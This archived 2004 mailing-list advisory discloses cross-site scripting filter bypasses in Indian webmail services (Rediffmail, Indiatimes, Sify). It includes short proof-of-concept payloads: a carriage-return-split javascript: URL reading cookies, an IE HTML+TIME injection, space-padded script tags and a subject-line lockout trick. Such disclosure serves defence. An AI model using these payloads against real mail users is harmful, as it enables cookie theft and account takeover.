[Full-Disclosure] [ADVISORY] Scripting Vulnerabilities in Indian Email Providers Put Millions At Risk

From: S G Masood (sgmasood_at_yahoo.com)
Date: 12/23/04

  • Next message: Ian Gulliver: "Re: [Full-Disclosure] Internet Explorer FTP client can be used to send mail"
    Date: Wed, 22 Dec 2004 21:58:20 -0800 (PST)
    To: full-disclosure@lists.netsys.com, bugtraq@securityfocus.com
    
    
    

    See Attached text.

            
                    
    __________________________________
    Do you Yahoo!?
    Yahoo! Mail - You care about security. So do we.
    http://promotions.yahoo.com/new_mail

    
    

    [ADVISORY] Scripting Vulnerabilities in Indian Email Providers Put Millions At Risk
    -----------------------------------------------------------------------------------

    I. ABSTRACT:

    The email services of several big Indian portals are susceptible to scripting attacks i.e., malicious code can be embedded by attackers into email messages, that, when received by unsuspecting users, can cause harmful effects. The services are Rediffmail.com, Indiatimes.com, Sify.com. The combined user base of these services runs into millions and all of these users are vulnerable. I've known about most of these vulnerabilities for years now and I am now releasing them because many are being massively exploited in the wild. All attempts to contact the vendors were unfruitful.

    II. DESCRIPTION AND IMPACT:

    It is possible to embed malicious scripts in an ordinary email to users of these services because of certain flaws in their anti-scripting filters. Since, these filters are not as robust as the filters used by service providers like Yahoo and Hotmail, many more flaws, similar to those detailed here, are undoubtedly present in these services. Some of the attacks possible through exploitation of these flaws -

    1. User names and passwords can be stolen. Spoofed login pages are one of the many methods to do so.

    2. Webpages belonging to the portals can be spoofed, including the shopping cart system.

    3. Any action that the legitimate user can take can also be taken by the malicious code. Cookies can be stolen.

    4. Malicious programs can be executed when combined with browser vulnerabilities.

    5. Force-feeding websites to users. Spammers, phishers and scammers can redirect users to their own pages.

    6. A malicious worm can be created which can traverse through the entire user base and cause destruction.

    7. Users can be locked out of their inboxes.

    III. TECHNICAL DETAILS AND PROOFS OF CONCEPT:

    i.Rediffmail(http://rediffmail.com):
    -------------------------------------

    Rediffmail has the most robust security system among all three. However, it is still susceptible to several attacks -

    First vuln: Using a &#13 character as demonstrated below -

    <input style=background-image:url(jav&#13;ascript:alert(document.cookie))>Hello!</input>

    Second vuln: This service is also susceptible to a script insertion method previously found by Greymagic(http://www.greymagic.com/security/advisories/gm005-mc/). This method uses the HTML+TIME feature of IE. Here is an example(adapted from the Greymagic PoC) -

    <?xml:namespace prefix=t ns=urn:schemas-microsoft-com:time />
    <?import namespace=t implementation=#default#time2>
    <span><t:set attributeName=innerHTML to="Nuttin &lt;script defer&gt;alert(&quot;Alert!&quot;)&lt;/script&gt;" /></span>

    ii. Indiatimes Mail(http://email.indiatimes.com):
    --------------------------------------------------

    Indiatimes email does not have a scripting filter in place. This means all HTML tags including scripts can be embedded into the email without any security obstacles. Example:

    <script>
    location.replace("http://google.com")
    </script>

    iii. Sify Mail(http://mail.sify.com):
    --------------------------------------

    First Vuln: Server side filtering code removes everything between and including the <script> tags in the message body.

    A newline character or a space character before the ">" in <script> and </script> evades filtering.

    <script >
    location.href="http://google.com"
    </script >

    Second Vuln: There is no filtering in the subject line. Html tags can also be inserted into the subject line of the mail which are then interpreted by the browser. Even <script> can be inserted.

    Interesting - Sending "<!--" in a subject line to a user can lock them out of their inboxes.

    IV. VENDOR STATUS:

    Several unsuccessful attempts have been made to contact the vendors. Emails alerts did not receive responses.

    V. CREDIT:

    The vulnerabilities and PoCs have been discovered by S.G.Masood(sgmasood@yahoo.com and sgmasood@gmail.com) from Hyderabad, India.

    VI. DISCLAIMER:

    This advisory is meant only for the dissemination of information, alerting the general public about a security issue. Use this information at your own discretion.

    In brief, the author is not responsible for any use, misuse, abuse of this information. Also, this information is provided "as is" without any warranty of any kind.

    *PHEW*

    EOF

    
    

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html


  • Next message: Ian Gulliver: "Re: [Full-Disclosure] Internet Explorer FTP client can be used to send mail"

    Relevant Pages

    • Re: IE Disinformation bar woes
      ... Evidently the security settings used ... emails at yahoo is sure to realize this. ... of the browser and logs into yahoo on one, ...
      (microsoft.public.windowsxp.security_admin)
    • RE: Comparison of Yahoo v. MSN Messenger from security standpoint
      ... Onderwerp: RE: Comparison of Yahoo v. MSN Messenger from security standpoint ... > Ethical Hacking at the InfoSec Institute. ... > pen testing experience in our state of the art hacking lab. ...
      (Security-Basics)
    • RE: Security and the Under 30 User
      ... Here is the original email that I received when I signed up to a Yahoo ... Security and the Under 30 User ... policy has to be forced. ... restructions) and you can do your social networking on your lunch or ...
      (Security-Basics)
    • Yahoo gets Paranoid about IT security
      ... Yahoo gets 'Paranoid' about IT security ... Company embeds select team of security staffers in operating units, ... according to Yahoo CIO Lars Rabbe. ... created as a separate organization," said Rabbe in an interview Monday ...
      (comp.security.misc)
    • Re: [Full-Disclosure] Yahoo! Store Security Advisory
      ... Store Security Advisory ... >> Ben Efros reported the following vulnerability in the Yahoo! ... >> A remote user can submit modified HTML to the affected commerce site ... >> the incorrect price. ...
      (Full-Disclosure)